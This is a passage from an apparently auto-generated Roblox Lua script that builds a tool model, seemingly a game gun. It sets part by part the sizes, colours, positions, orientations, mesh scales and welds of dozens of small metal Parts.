  4029. Part270.CFrame = CFrame.new(144.866272, 4.00324583, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4030. Part270.BottomSurface = Enum.SurfaceType.Smooth
  4031. Part270.TopSurface = Enum.SurfaceType.Smooth
  4032. Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4033. Part270.Position = Vector3.new(144.866272, 4.00324583, 144.444275)
  4034. Part270.Orientation = Vector3.new(90, 180, 0)
  4035. Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4036. BlockMesh271.Parent = Part270
  4037. BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  4038. BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  4039. Part272.Parent = Tool0
  4040. Part272.Material = Enum.Material.Metal
  4041. Part272.BrickColor = BrickColor.new("Dark stone grey")
  4042. Part272.Rotation = Vector3.new(-90, -90, 0)
  4043. Part272.Anchored = true
  4044. Part272.FormFactor = Enum.FormFactor.Custom
  4045. Part272.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4046. Part272.CFrame = CFrame.new(144.562943, 3.973243, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4047. Part272.BottomSurface = Enum.SurfaceType.Smooth
  4048. Part272.TopSurface = Enum.SurfaceType.Smooth
  4049. Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4050. Part272.Position = Vector3.new(144.562943, 3.973243, 144.287598)
  4051. Part272.Orientation = Vector3.new(0, -90, 90)
  4052. Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4053. SpecialMesh273.Parent = Part272
  4054. SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
  4055. SpecialMesh273.MeshType = Enum.MeshType.Wedge
  4056. SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
  4057. Part274.Parent = Tool0
  4058. Part274.Material = Enum.Material.Metal
  4059. Part274.BrickColor = BrickColor.new("Dark stone grey")
  4060. Part274.Rotation = Vector3.new(-90, 0, -90)
  4061. Part274.Anchored = true
  4062. Part274.FormFactor = Enum.FormFactor.Custom
  4063. Part274.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
  4064. Part274.CFrame = CFrame.new(143.5896, 3.93991399, 144.28093, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  4065. Part274.BottomSurface = Enum.SurfaceType.Smooth
  4066. Part274.TopSurface = Enum.SurfaceType.Smooth
  4067. Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4068. Part274.Position = Vector3.new(143.5896, 3.93991399, 144.28093)
  4069. Part274.Orientation = Vector3.new(-90, -90, 0)
  4070. Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4071. SpecialMesh275.Parent = Part274
  4072. SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  4073. SpecialMesh275.MeshType = Enum.MeshType.Wedge
  4074. SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  4075. Part276.Parent = Tool0
  4076. Part276.Material = Enum.Material.Metal
  4077. Part276.BrickColor = BrickColor.new("Dark stone grey")
  4078. Part276.Rotation = Vector3.new(180, 90, 0)
  4079. Part276.Anchored = true
  4080. Part276.FormFactor = Enum.FormFactor.Custom
  4081. Part276.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4082. Part276.CFrame = CFrame.new(144.109604, 3.89991403, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  4083. Part276.BottomSurface = Enum.SurfaceType.Smooth
  4084. Part276.TopSurface = Enum.SurfaceType.Smooth
  4085. Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4086. Part276.Position = Vector3.new(144.109604, 3.89991403, 144.500931)
  4087. Part276.Orientation = Vector3.new(0, 90, 180)
  4088. Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4089. SpecialMesh277.Parent = Part276
  4090. SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  4091. SpecialMesh277.MeshType = Enum.MeshType.Sphere
  4092. SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  4093. Part278.Parent = Tool0
  4094. Part278.Material = Enum.Material.Metal
  4095. Part278.BrickColor = BrickColor.new("Dark stone grey")
  4096. Part278.Rotation = Vector3.new(90, 0, 90)
  4097. Part278.Anchored = true
  4098. Part278.FormFactor = Enum.FormFactor.Custom
  4099. Part278.Size = Vector3.new(0.200000003, 0.206666633, 0.200000003)
  4100. Part278.CFrame = CFrame.new(144.222931, 3.89991212, 144.500931, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4101. Part278.BottomSurface = Enum.SurfaceType.Smooth
  4102. Part278.TopSurface = Enum.SurfaceType.Smooth
  4103. Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4104. Part278.Position = Vector3.new(144.222931, 3.89991212, 144.500931)
  4105. Part278.Orientation = Vector3.new(90, -90, 0)
  4106. Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4107. CylinderMesh279.Parent = Part278
  4108. CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4109. CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4110. Part280.Parent = Tool0
  4111. Part280.Material = Enum.Material.Metal
  4112. Part280.BrickColor = BrickColor.new("Black")
  4113. Part280.Rotation = Vector3.new(-90, -90, 0)
  4114. Part280.Anchored = true
  4115. Part280.FormFactor = Enum.FormFactor.Custom
  4116. Part280.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4117. Part280.CFrame = CFrame.new(144.562943, 3.84658098, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4118. Part280.BottomSurface = Enum.SurfaceType.Smooth
  4119. Part280.TopSurface = Enum.SurfaceType.Smooth
  4120. Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4121. Part280.Position = Vector3.new(144.562943, 3.84658098, 144.287598)
  4122. Part280.Orientation = Vector3.new(0, -90, 90)
  4123. Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4124. SpecialMesh281.Parent = Part280
  4125. SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  4126. SpecialMesh281.MeshType = Enum.MeshType.Wedge
  4127. SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  4128. Part282.Parent = Tool0
  4129. Part282.Material = Enum.Material.Metal
  4130. Part282.BrickColor = BrickColor.new("Dark stone grey")
  4131. Part282.Rotation = Vector3.new(90, 0, 90)
  4132. Part282.Anchored = true
  4133. Part282.FormFactor = Enum.FormFactor.Custom
  4134. Part282.Size = Vector3.new(0.226666585, 0.286666691, 0.200000003)
  4135. Part282.CFrame = CFrame.new(143.5896, 3.97324896, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4136. Part282.BottomSurface = Enum.SurfaceType.Smooth
  4137. Part282.TopSurface = Enum.SurfaceType.Smooth
  4138. Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4139. Part282.Position = Vector3.new(143.5896, 3.97324896, 144.39093)
  4140. Part282.Orientation = Vector3.new(90, -90, 0)
  4141. Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4142. SpecialMesh283.Parent = Part282
  4143. SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
  4144. SpecialMesh283.MeshType = Enum.MeshType.Wedge
  4145. SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
  4146. Part284.Parent = Tool0
  4147. Part284.Material = Enum.Material.Metal
  4148. Part284.BrickColor = BrickColor.new("Black")
  4149. Part284.Rotation = Vector3.new(-90, -90, 0)
  4150. Part284.Anchored = true
  4151. Part284.FormFactor = Enum.FormFactor.Custom
  4152. Part284.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4153. Part284.CFrame = CFrame.new(144.562943, 3.86657596, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4154. Part284.BottomSurface = Enum.SurfaceType.Smooth
  4155. Part284.TopSurface = Enum.SurfaceType.Smooth
  4156. Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4157. Part284.Position = Vector3.new(144.562943, 3.86657596, 144.474274)
  4158. Part284.Orientation = Vector3.new(0, -90, 90)
  4159. Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4160. BlockMesh285.Parent = Part284
  4161. BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  4162. BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  4163. Part286.Parent = Tool0
  4164. Part286.Material = Enum.Material.Metal
  4165. Part286.BrickColor = BrickColor.new("Dark stone grey")
  4166. Part286.Rotation = Vector3.new(90, 0, -90)
  4167. Part286.Anchored = true
  4168. Part286.FormFactor = Enum.FormFactor.Custom
  4169. Part286.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4170. Part286.CFrame = CFrame.new(144.769608, 3.97324896, 144.31427, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4171. Part286.BottomSurface = Enum.SurfaceType.Smooth
  4172. Part286.TopSurface = Enum.SurfaceType.Smooth
  4173. Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4174. Part286.Position = Vector3.new(144.769608, 3.97324896, 144.31427)
  4175. Part286.Orientation = Vector3.new(90, 90, 0)
  4176. Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4177. BlockMesh287.Parent = Part286
  4178. BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  4179. BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  4180. Part288.Parent = Tool0
  4181. Part288.Material = Enum.Material.Metal
  4182. Part288.BrickColor = BrickColor.new("Dark stone grey")
  4183. Part288.Rotation = Vector3.new(-90, 0, 90)
  4184. Part288.Anchored = true
  4185. Part288.FormFactor = Enum.FormFactor.Custom
  4186. Part288.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
  4187. Part288.CFrame = CFrame.new(143.969604, 3.88656497, 144.334274, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4188. Part288.BottomSurface = Enum.SurfaceType.Smooth
  4189. Part288.TopSurface = Enum.SurfaceType.Smooth
  4190. Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4191. Part288.Position = Vector3.new(143.969604, 3.88656497, 144.334274)
  4192. Part288.Orientation = Vector3.new(-90, 90, 0)
  4193. Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4194. BlockMesh289.Parent = Part288
  4195. BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
  4196. BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
  4197. Part290.Parent = Tool0
  4198. Part290.Material = Enum.Material.Metal
  4199. Part290.BrickColor = BrickColor.new("Dark stone grey")
  4200. Part290.Rotation = Vector3.new(90, 0, -180)
  4201. Part290.Anchored = true
  4202. Part290.FormFactor = Enum.FormFactor.Custom
  4203. Part290.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4204. Part290.CFrame = CFrame.new(143.222946, 4.05991077, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4205. Part290.BottomSurface = Enum.SurfaceType.Smooth
  4206. Part290.TopSurface = Enum.SurfaceType.Smooth
  4207. Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4208. Part290.Position = Vector3.new(143.222946, 4.05991077, 144.370956)
  4209. Part290.Orientation = Vector3.new(90, 180, 0)
  4210. Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4211. BlockMesh291.Parent = Part290
  4212. BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  4213. BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  4214. Part292.Parent = Tool0
  4215. Part292.Material = Enum.Material.Metal
  4216. Part292.BrickColor = BrickColor.new("Dark stone grey")
  4217. Part292.Rotation = Vector3.new(90, 0, -180)
  4218. Part292.Anchored = true
  4219. Part292.FormFactor = Enum.FormFactor.Custom
  4220. Part292.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4221. Part292.CFrame = CFrame.new(143.222946, 4.0665741, 144.407623, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4222. Part292.BottomSurface = Enum.SurfaceType.Smooth
  4223. Part292.TopSurface = Enum.SurfaceType.Smooth
  4224. Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4225. Part292.Position = Vector3.new(143.222946, 4.0665741, 144.407623)
  4226. Part292.Orientation = Vector3.new(90, 180, 0)
  4227. Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4228. BlockMesh293.Parent = Part292
  4229. BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  4230. BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  4231. Part294.Parent = Tool0
  4232. Part294.Material = Enum.Material.Metal
  4233. Part294.BrickColor = BrickColor.new("Dark stone grey")
  4234. Part294.Rotation = Vector3.new(90, 0, -180)
  4235. Part294.Anchored = true
  4236. Part294.FormFactor = Enum.FormFactor.Custom
  4237. Part294.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4238. Part294.CFrame = CFrame.new(143.156265, 4.0299139, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4239. Part294.BottomSurface = Enum.SurfaceType.Smooth
  4240. Part294.TopSurface = Enum.SurfaceType.Smooth
  4241. Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4242. Part294.Position = Vector3.new(143.156265, 4.0299139, 144.337601)
  4243. Part294.Orientation = Vector3.new(90, 180, 0)
  4244. Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4245. CylinderMesh295.Parent = Part294
  4246. CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4247. CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4248. Part296.Parent = Tool0
  4249. Part296.Material = Enum.Material.Metal
  4250. Part296.BrickColor = BrickColor.new("Dark stone grey")
  4251. Part296.Rotation = Vector3.new(90, 0, -180)
  4252. Part296.Anchored = true
  4253. Part296.FormFactor = Enum.FormFactor.Custom
  4254. Part296.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4255. Part296.CFrame = CFrame.new(143.266266, 3.99323797, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4256. Part296.BottomSurface = Enum.SurfaceType.Smooth
  4257. Part296.TopSurface = Enum.SurfaceType.Smooth
  4258. Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4259. Part296.Position = Vector3.new(143.266266, 3.99323797, 144.39093)
  4260. Part296.Orientation = Vector3.new(90, 180, 0)
  4261. Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4262. BlockMesh297.Parent = Part296
  4263. BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
  4264. BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
  4265. Part298.Parent = Tool0
  4266. Part298.Material = Enum.Material.Metal
  4267. Part298.BrickColor = BrickColor.new("Dark stone grey")
  4268. Part298.Rotation = Vector3.new(0, -89.9700012, 0)
  4269. Part298.Anchored = true
  4270. Part298.FormFactor = Enum.FormFactor.Custom
  4271. Part298.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4272. Part298.CFrame = CFrame.new(144.642929, 3.97324896, 144.307602, 0, 0, -0.999999881, 0.999999881, 0, 0, 0, -0.999999881, 0)
  4273. Part298.BottomSurface = Enum.SurfaceType.Smooth
  4274. Part298.TopSurface = Enum.SurfaceType.Smooth
  4275. Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4276. Part298.Position = Vector3.new(144.642929, 3.97324896, 144.307602)
  4277. Part298.Orientation = Vector3.new(0, -90, 90)
  4278. Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4279. SpecialMesh299.Parent = Part298
  4280. SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  4281. SpecialMesh299.MeshType = Enum.MeshType.Wedge
  4282. SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  4283. Part300.Parent = Tool0
  4284. Part300.Material = Enum.Material.Metal
  4285. Part300.BrickColor = BrickColor.new("Dark stone grey")
  4286. Part300.Rotation = Vector3.new(90, 90, 0)
  4287. Part300.Anchored = true
  4288. Part300.FormFactor = Enum.FormFactor.Custom
  4289. Part300.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4290. Part300.CFrame = CFrame.new(144.662933, 3.97324896, 144.467606, 0, 0, 1, 1, 0, 0, 0, 1, 0)
  4291. Part300.BottomSurface = Enum.SurfaceType.Smooth
  4292. Part300.TopSurface = Enum.SurfaceType.Smooth
  4293. Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4294. Part300.Position = Vector3.new(144.662933, 3.97324896, 144.467606)
  4295. Part300.Orientation = Vector3.new(0, 90, 90)
  4296. Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4297. SpecialMesh301.Parent = Part300
  4298. SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  4299. SpecialMesh301.MeshType = Enum.MeshType.Wedge
  4300. SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  4301. Part302.Parent = Tool0
  4302. Part302.Material = Enum.Material.Metal
  4303. Part302.BrickColor = BrickColor.new("Dark stone grey")
  4304. Part302.Rotation = Vector3.new(-90, 0, 90)
  4305. Part302.Anchored = true
  4306. Part302.FormFactor = Enum.FormFactor.Custom
  4307. Part302.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4308. Part302.CFrame = CFrame.new(143.412933, 3.93991399, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4309. Part302.BottomSurface = Enum.SurfaceType.Smooth
  4310. Part302.TopSurface = Enum.SurfaceType.Smooth
  4311. Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4312. Part302.Position = Vector3.new(143.412933, 3.93991399, 144.28093)
  4313. Part302.Orientation = Vector3.new(-90, 90, 0)
  4314. Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4315. BlockMesh303.Parent = Part302
  4316. BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  4317. BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  4318. ManualWeld304.Name = "Part-to-AimPart Strong Joint"
  4319. ManualWeld304.Parent = Part302
  4320. ManualWeld304.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4321. ManualWeld304.C1 = CFrame.new(-0.00999450684, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  4322. ManualWeld304.Part0 = Part302
  4323. ManualWeld304.Part1 = Part420
  4324. Part305.Parent = Tool0
  4325. Part305.Material = Enum.Material.Metal
  4326. Part305.BrickColor = BrickColor.new("Dark stone grey")
  4327. Part305.Rotation = Vector3.new(-90, 90, 0)
  4328. Part305.Anchored = true
  4329. Part305.FormFactor = Enum.FormFactor.Custom
  4330. Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4331. Part305.CFrame = CFrame.new(144.662933, 3.97324896, 144.31427, 0, 0, 1, -0.999999881, 0, 0, 0, -0.999999881, 0)
  4332. Part305.BottomSurface = Enum.SurfaceType.Smooth
  4333. Part305.TopSurface = Enum.SurfaceType.Smooth
  4334. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4335. Part305.Position = Vector3.new(144.662933, 3.97324896, 144.31427)
  4336. Part305.Orientation = Vector3.new(0, 90, -90)
  4337. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4338. SpecialMesh306.Parent = Part305
  4339. SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  4340. SpecialMesh306.MeshType = Enum.MeshType.Wedge
  4341. SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  4342. Part307.Parent = Tool0
  4343. Part307.Material = Enum.Material.Metal
  4344. Part307.BrickColor = BrickColor.new("Dark stone grey")
  4345. Part307.Rotation = Vector3.new(90, 0, -90)
  4346. Part307.Anchored = true
  4347. Part307.FormFactor = Enum.FormFactor.Custom
  4348. Part307.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  4349. Part307.CFrame = CFrame.new(143.469604, 3.89991403, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4350. Part307.BottomSurface = Enum.SurfaceType.Smooth
  4351. Part307.TopSurface = Enum.SurfaceType.Smooth
  4352. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4353. Part307.Position = Vector3.new(143.469604, 3.89991403, 144.28093)
  4354. Part307.Orientation = Vector3.new(90, 90, 0)
  4355. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4356. CylinderMesh308.Parent = Part307
  4357. CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4358. CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4359. ManualWeld309.Name = "Part-to-AimPart Strong Joint"
  4360. ManualWeld309.Parent = Part307
  4361. ManualWeld309.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  4362. ManualWeld309.C1 = CFrame.new(-0.210006714, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
  4363. ManualWeld309.Part0 = Part307
  4364. ManualWeld309.Part1 = Part420
  4365. Part310.Parent = Tool0
  4366. Part310.Material = Enum.Material.Metal
  4367. Part310.BrickColor = BrickColor.new("Dark stone grey")
  4368. Part310.Rotation = Vector3.new(-90, 0, 90)
  4369. Part310.Anchored = true
  4370. Part310.FormFactor = Enum.FormFactor.Custom
  4371. Part310.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4372. Part310.CFrame = CFrame.new(144.396271, 3.966573, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4373. Part310.BottomSurface = Enum.SurfaceType.Smooth
  4374. Part310.TopSurface = Enum.SurfaceType.Smooth
  4375. Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4376. Part310.Position = Vector3.new(144.396271, 3.966573, 144.28093)
  4377. Part310.Orientation = Vector3.new(-90, 90, 0)
  4378. Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4379. SpecialMesh311.Parent = Part310
  4380. SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  4381. SpecialMesh311.MeshType = Enum.MeshType.Wedge
  4382. SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  4383. Part312.Parent = Tool0
  4384. Part312.Material = Enum.Material.Metal
  4385. Part312.BrickColor = BrickColor.new("Dark stone grey")
  4386. Part312.Rotation = Vector3.new(-90, 0, 90)
  4387. Part312.Anchored = true
  4388. Part312.FormFactor = Enum.FormFactor.Custom
  4389. Part312.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
  4390. Part312.CFrame = CFrame.new(144.186279, 3.969908, 144.357605, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4391. Part312.BottomSurface = Enum.SurfaceType.Smooth
  4392. Part312.TopSurface = Enum.SurfaceType.Smooth
  4393. Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4394. Part312.Position = Vector3.new(144.186279, 3.969908, 144.357605)
  4395. Part312.Orientation = Vector3.new(-90, 90, 0)
  4396. Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4397. BlockMesh313.Parent = Part312
  4398. BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
  4399. BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
  4400. Part314.Parent = Tool0
  4401. Part314.Material = Enum.Material.Metal
  4402. Part314.BrickColor = BrickColor.new("Dark stone grey")
  4403. Part314.Rotation = Vector3.new(-90, -15.0099993, 0)
  4404. Part314.Anchored = true
  4405. Part314.FormFactor = Enum.FormFactor.Custom
  4406. Part314.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4407. Part314.CFrame = CFrame.new(143.102783, 3.81143498, 144.497604, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  4408. Part314.BottomSurface = Enum.SurfaceType.Smooth
  4409. Part314.TopSurface = Enum.SurfaceType.Smooth
  4410. Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4411. Part314.Position = Vector3.new(143.102783, 3.81143498, 144.497604)
  4412. Part314.Orientation = Vector3.new(-74.9899979, -90, 90)
  4413. Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4414. CylinderMesh315.Parent = Part314
  4415. CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  4416. CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  4417. Part316.Parent = Tool0
  4418. Part316.Material = Enum.Material.Metal
  4419. Part316.BrickColor = BrickColor.new("Dark stone grey")
  4420. Part316.Rotation = Vector3.new(90, -90, 0)
  4421. Part316.Anchored = true
  4422. Part316.FormFactor = Enum.FormFactor.Custom
  4423. Part316.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4424. Part316.CFrame = CFrame.new(144.562943, 3.973243, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  4425. Part316.BottomSurface = Enum.SurfaceType.Smooth
  4426. Part316.TopSurface = Enum.SurfaceType.Smooth
  4427. Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4428. Part316.Position = Vector3.new(144.562943, 3.973243, 144.494263)
  4429. Part316.Orientation = Vector3.new(0, -90, -90)
  4430. Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4431. SpecialMesh317.Parent = Part316
  4432. SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
  4433. SpecialMesh317.MeshType = Enum.MeshType.Wedge
  4434. SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
  4435. Part318.Parent = Tool0
  4436. Part318.Material = Enum.Material.Metal
  4437. Part318.BrickColor = BrickColor.new("Black")
  4438. Part318.Rotation = Vector3.new(-90, 0, 90)
  4439. Part318.Anchored = true
  4440. Part318.FormFactor = Enum.FormFactor.Custom
  4441. Part318.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4442. Part318.CFrame = CFrame.new(144.342941, 3.79991198, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4443. Part318.BottomSurface = Enum.SurfaceType.Smooth
  4444. Part318.TopSurface = Enum.SurfaceType.Smooth
  4445. Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4446. Part318.Position = Vector3.new(144.342941, 3.79991198, 144.397598)
  4447. Part318.Orientation = Vector3.new(-90, 90, 0)
  4448. Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4449. BlockMesh319.Parent = Part318
  4450. BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
  4451. BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
  4452. Part320.Parent = Tool0
  4453. Part320.Material = Enum.Material.Metal
  4454. Part320.BrickColor = BrickColor.new("Dark stone grey")
  4455. Part320.Rotation = Vector3.new(-90, -60, 90)
  4456. Part320.Anchored = true
  4457. Part320.FormFactor = Enum.FormFactor.Custom
  4458. Part320.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4459. Part320.CFrame = CFrame.new(144.177887, 3.53699899, 144.39093, -3.43577899e-09, -0.499927372, -0.866068482, 1.98384043e-09, -0.866069317, 0.499927849, -1.00000095, -6.63913369e-14, 3.96714306e-09)
  4460. Part320.BottomSurface = Enum.SurfaceType.Smooth
  4461. Part320.TopSurface = Enum.SurfaceType.Smooth
  4462. Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4463. Part320.Position = Vector3.new(144.177887, 3.53699899, 144.39093)
  4464. Part320.Orientation = Vector3.new(-30, -90, 180)
  4465. Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4466. SpecialMesh321.Parent = Part320
  4467. SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
  4468. SpecialMesh321.MeshType = Enum.MeshType.Wedge
  4469. SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
  4470. Part322.Parent = Tool0
  4471. Part322.Material = Enum.Material.Metal
  4472. Part322.BrickColor = BrickColor.new("Dark stone grey")
  4473. Part322.Rotation = Vector3.new(90, 0, -180)
  4474. Part322.Anchored = true
  4475. Part322.FormFactor = Enum.FormFactor.Custom
  4476. Part322.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4477. Part322.CFrame = CFrame.new(143.236267, 4.00324106, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4478. Part322.BottomSurface = Enum.SurfaceType.Smooth
  4479. Part322.TopSurface = Enum.SurfaceType.Smooth
  4480. Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4481. Part322.Position = Vector3.new(143.236267, 4.00324106, 144.39093)
  4482. Part322.Orientation = Vector3.new(90, 180, 0)
